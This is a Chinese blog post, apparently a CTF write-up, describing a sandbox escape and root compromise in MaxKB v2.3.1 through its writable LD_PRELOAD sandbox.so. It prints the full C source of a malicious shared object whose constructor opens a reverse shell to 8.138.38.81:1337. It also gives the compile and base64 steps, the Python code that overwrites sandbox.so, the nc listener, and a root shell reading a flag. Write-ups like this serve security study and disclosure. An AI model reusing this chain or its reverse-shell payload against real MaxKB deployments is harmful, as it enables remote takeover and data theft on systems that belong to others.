Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
874 字
4 分钟
RootKB / MaxKB v2.3.1 沙箱逃逸
2025-12-20
统计加载中...

RootKB / MaxKB v2.3.1 沙箱提权小记#

0x00 前情提要#

题目环境是最新版的 MaxKB v2.3.1,后台有一个「创建工具」的功能,可以在线跑 Python 代码。

img

一开始进去试了一下,的确是个沙箱:

  • os.listdir("/") 之类的;
  • 但是系统命令基本跑不通;
  • 可读写的目录被限制在 /opt/maxkb-app/sandbox/

读取了下这个目录,发现里面有个很扎眼的文件:

/opt/maxkb-app/sandbox/sandbox.so

这玩意一看就像是沙箱相关的 so,想着大概率和限制有关,就去翻源码了。


0x01 关键点:v2.3.1 新增的 LD_PRELOAD#

tool_code.py,和 v2.3.0 对比,多出来一段逻辑(大意):

if self.sandbox:
kwargs = {
"cwd": self.sandbox_path,
"env": {
"LD_PRELOAD": f"{self.sandbox_path}/sandbox.so",
},
# ... 其他参数 ...
}

也就是说,只要是「沙箱模式」执行 Python,它就会:

  • 沙箱目录/opt/maxkb-app/sandbox/ 下找 sandbox.so
  • 启动 Python 子进程时,带上 LD_PRELOAD=/opt/maxkb-app/sandbox/sandbox.so

结合我们前面信息收集到的结论:

  • /opt/maxkb-app/sandbox/ 是沙箱里唯一能读写的目录;
  • sandbox.so 就长在这里;
  • 我们可以覆盖它

那就很明显了: 一个可写的、会被 LD_PRELOAD 的 so,基本等于「给你一个挂钩点,自己决定启动时执行啥」。


0x02 攻击思路一眼定胜负#

利用链其实就四步:

  1. 在本地写一个恶意 .so:被载入时自动执行我们想跑的命令(比如反弹 shell)。
  2. 编译好之后做 base64 编码,方便塞进沙箱里的 Python 代码。
  3. 用在线 Python 将 base64 解码,直接覆写 /opt/maxkb-app/sandbox/sandbox.so
  4. 再随便执行一次「沙箱模式」的 Python 代码就行了——Python 子进程一启动,动态链接器按照 LD_PRELOAD 把我们的 so 加载进来,构造函数自动跑,反弹 shell 拿下。

0x03 本地准备:写个简单的恶意 so#

先在自己机子上写 Z3.c

#include <stdlib.h>
#include <unistd.h>
void payload() {
unsetenv("LD_PRELOAD");
system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\"");
}
__attribute__((constructor))
void init() {
if (getenv("LD_PRELOAD") != NULL) {
payload();
}
}

编译成 so:

gcc -shared -fPIC -o Z3.so Z3.c

检查一下是 64 位 ELF 就行(和容器架构一致即可)。

然后为了方便塞进题目里,把 so 做成一行 base64:

base64 -w0 Z3.so > Z3.b64

打开 Z3.b64,复制里面那一长串字符串,后面会用到。


0x04 在线覆写 /opt/maxkb-app/sandbox/sandbox.so#

接下来回到题目后台,「智能体编程」那里写 Python。我们利用沙箱能写 /opt/maxkb-app/sandbox/ 的特性,把本地准备好的恶意 so 写进去。

示例代码(核心逻辑):

def payload():
import base64
import os
base64data = """
这里粘你的 Z3.b64 那一整行
""".strip()
data = base64.b64decode(base64data)
path = "/opt/maxkb-app/sandbox/sandbox.so"
with open(path, "wb") as f:
f.write(data)
return {"msg": "overwrite done", "size": len(data)}

只能是def函数,其他的img函数会报错奥

在后台点击调试,

这一步做完,其实整个提权已经埋好雷了,就差走过去踩一下。


0x05 触发 LD_PRELOAD,拿反弹 shell#

在本地先开个监听:

nc -lvvp 1337

然后回后台,再新建/修改一个工具,随手写个非常无害的代码,例如:

def payload():
print(1)

重点不是这段代码本身,而是你要让它在“沙箱模式”下执行一次

一旦点了执行,后台会:

  • 根据我们前面看到的逻辑,启动一个带 LD_PRELOAD=/opt/maxkb-app/sandbox/sandbox.so 的 Python 子进程;
  • 动态链接器加载我们的 sandbox.so
  • 调用 so 里的 __attribute__((constructor)) 函数;
  • 反弹 shell 直接回到我们本机的 nc。

此时监听端口上就会弹出一个交互 shell:

$ nc -lvvp 1337
Connection from x.x.x.x 54321
bash: no job control in this shell
sandbox@xxxx:/opt/maxkb-app/sandbox$ id
uid=0(root) gid=0(root) groups=0(root)
sandbox@xxxx:/opt/maxkb-app/sandbox$ cat /root/flag
flag{...}

直接提权RCE

RootKB / MaxKB v2.3.1 沙箱逃逸
https://steins-gate.cn/posts/maxkb/
作者
萦梦sora~Nya
发布于
2025-12-20
许可协议
Unlicensed

部分信息可能已经过时